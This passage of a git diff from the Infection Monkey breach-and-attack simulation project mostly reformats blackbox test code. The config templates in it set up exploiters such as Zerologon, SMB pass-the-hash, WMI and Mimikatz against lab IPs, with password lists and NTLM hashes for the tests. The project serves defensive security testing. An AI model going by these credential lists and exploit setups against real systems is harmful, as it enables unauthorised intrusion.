+- .../monkey_island/cc/services/wmi_handler.py | 147 ++-- .../monkey_zt_details_service.py | 30 +- .../monkey_zt_finding_service.py | 22 +- .../test_monkey_zt_details_service.py | 20 +- .../test_monkey_zt_finding_service.py | 45 +- .../scoutsuite/consts/rule_consts.py | 4 +- .../consts/rule_names/cloudformation_rules.py | 6 +- .../consts/rule_names/cloudtrail_rules.py | 16 +- .../consts/rule_names/cloudwatch_rules.py | 6 +- .../consts/rule_names/config_rules.py | 6 +- .../scoutsuite/consts/rule_names/ec2_rules.py | 56 +- .../scoutsuite/consts/rule_names/elb_rules.py | 10 +- .../consts/rule_names/elbv2_rules.py | 14 +- .../scoutsuite/consts/rule_names/iam_rules.py | 68 +- .../scoutsuite/consts/rule_names/rds_rules.py | 20 +- .../consts/rule_names/redshift_rules.py | 16 +- .../scoutsuite/consts/rule_names/s3_rules.py | 40 +- .../scoutsuite/consts/rule_names/ses_rules.py | 8 +- .../scoutsuite/consts/rule_names/sns_rules.py | 18 +- .../scoutsuite/consts/rule_names/sqs_rules.py | 20 +- .../scoutsuite/consts/rule_names/vpc_rules.py | 20 +- .../consts/scoutsuite_finding_maps.py | 115 ++- .../consts/scoutsuite_findings_list.py | 22 +- .../scoutsuite/consts/service_consts.py | 52 +- .../scoutsuite/data_parsing/rule_parser.py | 12 +- .../abstract_rule_path_creator.py | 12 +- .../cloudformation_rule_path_creator.py | 9 +- .../cloudtrail_rule_path_creator.py | 9 +- .../cloudwatch_rule_path_creator.py | 9 +- .../config_rule_path_creator.py | 9 +- .../ec2_rule_path_creator.py | 5 +- .../elb_rule_path_creator.py | 5 +- .../elbv2_rule_path_creator.py | 5 +- .../iam_rule_path_creator.py | 5 +- .../rds_rule_path_creator.py | 5 +- .../redshift_rule_path_creator.py | 9 +- .../s3_rule_path_creator.py | 5 +- .../ses_rule_path_creator.py | 5 +- .../sns_rule_path_creator.py | 5 +- .../sqs_rule_path_creator.py | 5 +- .../vpc_rule_path_creator.py | 5 +- .../rule_path_creators_list.py | 96 ++- .../data_parsing/test_rule_parser.py | 30 +- .../scoutsuite/scoutsuite_auth_service.py | 26 +- .../scoutsuite/scoutsuite_rule_service.py | 25 +- .../scoutsuite_zt_finding_service.py | 32 +- .../test_scoutsuite_auth_service.py | 14 +- .../test_scoutsuite_rule_service.py | 45 +- .../test_scoutsuite_zt_finding_service.py | 10 +- .../zero_trust/test_common/finding_data.py | 28 +- .../test_common/monkey_finding_data.py | 15 +- .../test_common/raw_scoutsute_data.py | 237 +++-- .../test_common/scoutsuite_finding_data.py | 98 +-- .../zero_trust_report/finding_service.py | 17 +- .../zero_trust_report/pillar_service.py | 17 +- .../zero_trust_report/principle_service.py | 21 +- .../test_common/example_finding_data.py | 83 +- .../zero_trust_report/test_finding_service.py | 60 +- .../zero_trust_report/test_pillar_service.py | 44 +- .../test_principle_service.py | 86 +- monkey/monkey_island/cc/setup.py | 21 +- .../cc/test_common/fixtures/fixture_enum.py | 2 +- .../fixtures/mongomock_fixtures.py | 6 +- .../profiling/profiler_decorator.py | 7 +- .../pyinstaller_hooks/hook-stix2.py | 4 +- .../scripts/island_password_hasher.py | 2 +- 490 files changed, 9627 insertions(+), 7247 deletions(-) diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer.py b/envs/monkey_zoo/blackbox/analyzers/analyzer.py index 13db46cb3e8..c4b55c766d4 100644 --- a/envs/monkey_zoo/blackbox/analyzers/analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer.py @@ -2,7 +2,6 @@ class Analyzer(object, metaclass=ABCMeta): - @abstractmethod def analyze_test_results(self) -> bool: raise NotImplementedError() diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py index f974188130e..88d06d52bd6 100644 --- a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py @@ -2,7 +2,6 @@ class AnalyzerLog(object): - def __init__(self, analyzer_name): self.contents = LOG_INIT_MESSAGE self.name = analyzer_name diff --git a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py index 22841f7834f..9f43bee7c60 100644 --- a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py @@ -3,7 +3,6 @@ class CommunicationAnalyzer(Analyzer): - def __init__(self, island_client, machine_ips): self.island_client = island_client self.machine_ips = machine_ips @@ -21,5 +20,5 @@ def analyze_test_results(self): return all_monkeys_communicated def did_monkey_communicate_back(self, machine_ip): - query = {'ip_addresses': {'$elemMatch': {'$eq': machine_ip}}} + query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}} return len(self.island_client.find_monkeys_in_db(query)) > 0 diff --git a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py index 4a43ab6a5fa..18390e67e4c 100644 --- a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py @@ -9,8 +9,9 @@ class PerformanceAnalyzer(Analyzer): - - def __init__(self, performance_test_config: PerformanceTestConfig, endpoint_timings: Dict[str, timedelta]): + def __init__( + self, performance_test_config: PerformanceTestConfig, endpoint_timings: Dict[str, timedelta] + ): self.performance_test_config = performance_test_config self.endpoint_timings = endpoint_timings diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py index f5da3a2e187..6f71256b996 100644 --- a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -3,19 +3,25 @@ import dpath.util -from common.config_value_paths import USER_LIST_PATH, PASSWORD_LIST_PATH, NTLM_HASH_LIST_PATH, LM_HASH_LIST_PATH +from common.config_value_paths import ( + USER_LIST_PATH, + PASSWORD_LIST_PATH, + NTLM_HASH_LIST_PATH, + LM_HASH_LIST_PATH, +) from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient # Query for telemetry collection to see if password restoration was successful -TELEM_QUERY = {'telem_category': 'exploit', - 'data.exploiter': 'ZerologonExploiter', - 'data.info.password_restored': True} +TELEM_QUERY = { + "telem_category": "exploit", + "data.exploiter": "ZerologonExploiter", + "data.info.password_restored": True, +} class ZerologonAnalyzer(Analyzer): - def __init__(self, island_client: MonkeyIslandClient, expected_credentials: List[str]): self.island_client = island_client self.expected_credentials = expected_credentials @@ -35,13 +41,12 @@ def _analyze_credential_gathering(self) -> bool: @staticmethod def _get_relevant_credentials(config: dict): credentials_on_island = [] - credentials_on_island.extend(dpath.util.get(config['configuration'], USER_LIST_PATH)) - credentials_on_island.extend(dpath.util.get(config['configuration'], NTLM_HASH_LIST_PATH)) - credentials_on_island.extend(dpath.util.get(config['configuration'], LM_HASH_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config["configuration"], USER_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config["configuration"], NTLM_HASH_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config["configuration"], LM_HASH_LIST_PATH)) return credentials_on_island - def _is_all_credentials_in_list(self, - all_creds: List[str]) -> bool: + def _is_all_credentials_in_list(self, all_creds: List[str]) -> bool: credentials_missing = [cred for cred in self.expected_credentials if cred not in all_creds] self._log_creds_not_gathered(credentials_missing) return not credentials_missing @@ -60,11 +65,13 @@ def _analyze_credential_restore(self) -> bool: def _log_credential_restore(self, telem_list: List[dict]): if telem_list: - self.log.add_entry("Zerologon exploiter telemetry contains indicators that credentials " - "were successfully restored.") + self.log.add_entry( + "Zerologon exploiter telemetry contains indicators that credentials " + "were successfully restored." + ) else: - self.log.add_entry("Credential restore failed or credential restore " - "telemetry not found on the Monkey Island.") + self.log.add_entry( + "Credential restore failed or credential restore " + "telemetry not found on the Monkey Island." + ) self.log.add_entry(f"Query for credential restore telem: {pformat(TELEM_QUERY)}") - - diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py index 9ebea6f1f9b..316f02ed7de 100644 --- a/envs/monkey_zoo/blackbox/config_templates/base_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py @@ -8,7 +8,9 @@ class BaseTemplate(ConfigTemplate): "basic.exploiters.exploiter_classes": [], "basic_network.scope.local_network_scan": False, "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], - "internal.monkey.system_info.system_info_collector_classes": - ["EnvironmentCollector", "HostnameCollector"], - "monkey.post_breach.post_breach_actions": [] + "internal.monkey.system_info.system_info_collector_classes": [ + "EnvironmentCollector", + "HostnameCollector", + ], + "monkey.post_breach.post_breach_actions": [], } diff --git a/envs/monkey_zoo/blackbox/config_templates/config_template.py b/envs/monkey_zoo/blackbox/config_templates/config_template.py index e0ff4e56845..915a0cc7875 100644 --- a/envs/monkey_zoo/blackbox/config_templates/config_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/config_template.py @@ -2,7 +2,6 @@ class ConfigTemplate(ABC): - @property @abstractmethod def config_values(self) -> dict: diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py index e202219dce2..28c50872e0f 100644 --- a/envs/monkey_zoo/blackbox/config_templates/drupal.py +++ b/envs/monkey_zoo/blackbox/config_templates/drupal.py @@ -7,8 +7,10 @@ class Drupal(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], - "basic.exploiters.exploiter_classes": ["DrupalExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.28"] - }) + config_values.update( + { + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "basic.exploiters.exploiter_classes": ["DrupalExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.28"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py index 56021e95916..43b276d53d0 100644 --- a/envs/monkey_zoo/blackbox/config_templates/elastic.py +++ b/envs/monkey_zoo/blackbox/config_templates/elastic.py @@ -8,8 +8,10 @@ class Elastic(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], - "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], + "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/hadoop.py index d136068e59a..86540bde654 100644 --- a/envs/monkey_zoo/blackbox/config_templates/hadoop.py +++ b/envs/monkey_zoo/blackbox/config_templates/hadoop.py @@ -8,7 +8,9 @@ class Hadoop(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["HadoopExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.2", "10.2.2.3"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["HadoopExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.2", "10.2.2.3"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py index 003f9f8d305..61249044c6e 100644 --- a/envs/monkey_zoo/blackbox/config_templates/mssql.py +++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py @@ -7,14 +7,16 @@ class Mssql(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["MSSQLExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.16"], - "basic.credentials.exploit_password_list": ["Password1!", - "Xk8VDTsC", - "password", - "12345678"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["MSSQLExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.16"], + "basic.credentials.exploit_password_list": [ + "Password1!", + "Xk8VDTsC", + "password", + "12345678", + ], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index e9e34727d08..e5213b649e5 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -3,52 +3,60 @@ class Performance(ConfigTemplate): config_values = { - "basic.credentials.exploit_password_list": ["Xk8VDTsC", - "^NgDvY59~8", - "Ivrrw5zEzs", - "3Q=(Ge(+&w]*", - "`))jU7L(w}", - "t67TC5ZDmz"], + "basic.credentials.exploit_password_list": [ + "Xk8VDTsC", + "^NgDvY59~8", + "Ivrrw5zEzs", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz", + ], "basic.credentials.exploit_user_list": ["m0nk3y"], - "basic.exploiters.exploiter_classes": ["SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "VSFTPDExploiter", - "MSSQLExploiter", - "ZerologonExploiter"], - "basic_network.network_analysis.inaccessible_subnets": ["10.2.2.0/30", - "10.2.2.8/30", - "10.2.2.24/32", - "10.2.2.23/32", - "10.2.2.21/32", - "10.2.2.19/32", - "10.2.2.18/32", - "10.2.2.17/32"], - "basic_network.scope.subnet_scan_list": ["10.2.2.2", - "10.2.2.3", - "10.2.2.4", - "10.2.2.5", - "10.2.2.8", - "10.2.2.9", - "10.2.1.10", - "10.2.0.11", - "10.2.0.12", - "10.2.2.11", - "10.2.2.12", - "10.2.2.14", - "10.2.2.15", - "10.2.2.16", - "10.2.2.18", - "10.2.2.19", - "10.2.2.20", - "10.2.2.21", - "10.2.2.23", - "10.2.2.24", - "10.2.2.25"] + "basic.exploiters.exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter", + "ZerologonExploiter", + ], + "basic_network.network_analysis.inaccessible_subnets": [ + "10.2.2.0/30", + "10.2.2.8/30", + "10.2.2.24/32", + "10.2.2.23/32", + "10.2.2.21/32", + "10.2.2.19/32", + "10.2.2.18/32", + "10.2.2.17/32", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.2", + "10.2.2.3", + "10.2.2.4", + "10.2.2.5", + "10.2.2.8", + "10.2.2.9", + "10.2.1.10", + "10.2.0.11", + "10.2.0.12", + "10.2.2.11", + "10.2.2.12", + "10.2.2.14", + "10.2.2.15", + "10.2.2.16", + "10.2.2.18", + "10.2.2.19", + "10.2.2.20", + "10.2.2.21", + "10.2.2.23", + "10.2.2.24", + "10.2.2.25", + ], } diff --git a/envs/monkey_zoo/blackbox/config_templates/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py index 71d968e0bf9..ba1a8f915d2 100644 --- a/envs/monkey_zoo/blackbox/config_templates/shellshock.py +++ b/envs/monkey_zoo/blackbox/config_templates/shellshock.py @@ -7,7 +7,9 @@ class ShellShock(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["ShellShockExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.8"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["ShellShockExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.8"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py index f563bc8d13a..7a8d9060c39 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py @@ -7,14 +7,18 @@ class SmbMimikatz(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["SmbExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], - "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], - "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], - "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["SmbExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "monkey.system_info.system_info_collector_classes": [ + "EnvironmentCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py index edee4cdbd4f..b8b54090ddb 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py @@ -11,12 +11,10 @@ class SmbPth(ConfigTemplate): "basic.exploiters.exploiter_classes": ["SmbExploiter"], "basic_network.scope.subnet_scan_list": ["10.2.2.15"], "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "internal.classes.finger_classes": ["SMBFinger", - "PingScanner", - "HTTPFinger"], - "internal.classes.exploits.exploit_ntlm_hash_list": ["5da0889ea2081aa79f6852294cba4a5e", - "50c9987a6bf1ac59398df9f911122c9b"] + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "internal.classes.exploits.exploit_ntlm_hash_list": [ + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b", + ], } diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py index 90871e52bc4..3cff3222a68 100644 --- a/envs/monkey_zoo/blackbox/config_templates/ssh.py +++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py @@ -7,17 +7,12 @@ class Ssh(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["SSHExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.11", - "10.2.2.12"], - "basic.credentials.exploit_password_list": ["Password1!", - "12345678", - "^NgDvY59~8"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "internal.classes.finger_classes": ["SSHFinger", - "PingScanner", - "HTTPFinger"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["SSHExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.11", "10.2.2.12"], + "basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["SSHFinger", "PingScanner", "HTTPFinger"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/struts2.py b/envs/monkey_zoo/blackbox/config_templates/struts2.py index 6eb399568c8..03b8ef38eef 100644 --- a/envs/monkey_zoo/blackbox/config_templates/struts2.py +++ b/envs/monkey_zoo/blackbox/config_templates/struts2.py @@ -8,7 +8,9 @@ class Struts2(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["Struts2Exploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Struts2Exploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index ac46eb11067..d23ad8708a8 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -7,27 +7,30 @@ class Tunneling(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["SmbExploiter", - "WmiExploiter", - "SSHExploiter" - ], - "basic_network.scope.subnet_scan_list": ["10.2.2.9", - "10.2.1.10", - "10.2.0.11", - "10.2.0.12"], - "basic_network.scope.depth": 3, - "internal.general.keep_tunnel_open_time": 180, - "basic.credentials.exploit_password_list": ["Password1!", - "3Q=(Ge(+&w]*", - "`))jU7L(w}", - "t67TC5ZDmz", - "12345678"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "internal.classes.finger_classes": ["SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["SmbExploiter", "WmiExploiter", "SSHExploiter"], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.9", + "10.2.1.10", + "10.2.0.11", + "10.2.0.12", + ], + "basic_network.scope.depth": 3, + "internal.general.keep_tunnel_open_time": 180, + "basic.credentials.exploit_password_list": [ + "Password1!", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz", + "12345678", + ], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py index 482f7abf9d0..21b7eed0cfd 100644 --- a/envs/monkey_zoo/blackbox/config_templates/weblogic.py +++ b/envs/monkey_zoo/blackbox/config_templates/weblogic.py @@ -8,7 +8,9 @@ class Weblogic(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["WebLogicExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["WebLogicExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py index b6dbc0c88d8..b23f73902a6 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py @@ -7,17 +7,17 @@ class WmiMimikatz(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["WmiExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.14", - "10.2.2.15"], - "basic.credentials.exploit_password_list": ["Password1!", - "Ivrrw5zEzs"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["WmiExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "monkey.system_info.system_info_collector_classes": [ + "EnvironmentCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/zerologon.py index 28afa281f23..2eec0f4f0c4 100644 --- a/envs/monkey_zoo/blackbox/config_templates/zerologon.py +++ b/envs/monkey_zoo/blackbox/config_templates/zerologon.py @@ -8,9 +8,11 @@ class Zerologon(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.25"], - # Empty list to make sure ZeroLogon adds "Administrator" username - "basic.credentials.exploit_user_list": [] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.25"], + # Empty list to make sure ZeroLogon adds "Administrator" username + "basic.credentials.exploit_user_list": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index 4909bcbc74e..21686f0fe4d 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -2,25 +2,37 @@ def pytest_addoption(parser): - parser.addoption("--island", action="store", default="", - help="Specify the Monkey Island address (host+port).") - parser.addoption("--no-gcp", action="store_true", default=False, - help="Use for no interaction with the cloud.") - parser.addoption("--quick-performance-tests", action="store_true", default=False, - help="If enabled performance tests won't reset island and won't send telemetries, " - "instead will just test performance of already present island state.") - - -@pytest.fixture(scope='session') + parser.addoption( + "--island", + action="store", + default="", + help="Specify the Monkey Island address (host+port).", + ) + parser.addoption( + "--no-gcp", + action="store_true", + default=False, + help="Use for no interaction with the cloud.", + ) + parser.addoption( + "--quick-performance-tests", + action="store_true", + default=False, + help="If enabled performance tests won't reset island and won't send telemetries, " + "instead will just test performance of already present island state.", + ) + + +@pytest.fixture(scope="session") def island(request): return request.config.getoption("--island") -@pytest.fixture(scope='session') +@pytest.fixture(scope="session") def no_gcp(request): return request.config.getoption("--no-gcp") -@pytest.fixture(scope='session') +@pytest.fixture(scope="session") def quick_performance_tests(request): return request.config.getoption("--quick-performance-tests") diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py index 5b7211f872d..8c7edaa585b 100644 --- a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py +++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py @@ -8,23 +8,22 @@ class IslandConfigParser: - @staticmethod - def get_raw_config(config_template: Type[ConfigTemplate], - island_client: MonkeyIslandClient) -> str: + def get_raw_config( + config_template: Type[ConfigTemplate], island_client: MonkeyIslandClient + ) -> str: response = island_client.get_config() - config = IslandConfigParser.apply_template_to_config(config_template, response['configuration']) + config = IslandConfigParser.apply_template_to_config( + config_template, response["configuration"] + ) return json.dumps(config) @staticmethod - def apply_template_to_config(config_template: Type[ConfigTemplate], - config: dict) -> dict: + def apply_template_to_config(config_template: Type[ConfigTemplate], config: dict) -> dict: for path, value in config_template.config_values.items(): - dpath.util.set(config, path, value, '.') + dpath.util.set(config, path, value, ".") return config @staticmethod def get_ips_of_targets(raw_config): - return dpath.util.get(json.loads(raw_config), - "basic_network.scope.subnet_scan_list", - '.') + return dpath.util.get(json.loads(raw_config), "basic_network.scope.subnet_scan_list", ".") diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 304996ebd2e..9ec54a56f4e 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -8,9 +8,9 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 -MONKEY_TEST_ENDPOINT = 'api/test/monkey' -TELEMETRY_TEST_ENDPOINT = 'api/test/telemetry' -LOG_TEST_ENDPOINT = 'api/test/log' +MONKEY_TEST_ENDPOINT = "api/test/monkey" +TELEMETRY_TEST_ENDPOINT = "api/test/telemetry" +LOG_TEST_ENDPOINT = "api/test/log" LOGGER = logging.getLogger(__name__) @@ -44,7 +44,7 @@ def run_monkey_local(self): @staticmethod def monkey_ran_successfully(response): - return response.ok and json.loads(response.content)['is_running'] + return response.ok and json.loads(response.content)["is_running"] @avoid_race_condition def kill_all_monkeys(self): @@ -65,37 +65,41 @@ def reset_env(self): def find_monkeys_in_db(self, query): if query is None: raise TypeError - response = self.requests.get(MONKEY_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(query)) + response = self.requests.get( + MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query) + ) return MonkeyIslandClient.get_test_query_results(response) def find_telems_in_db(self, query: dict): if query is None: raise TypeError - response = self.requests.get(TELEMETRY_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(query)) + response = self.requests.get( + TELEMETRY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query) + ) return MonkeyIslandClient.get_test_query_results(response) def get_all_monkeys_from_db(self): - response = 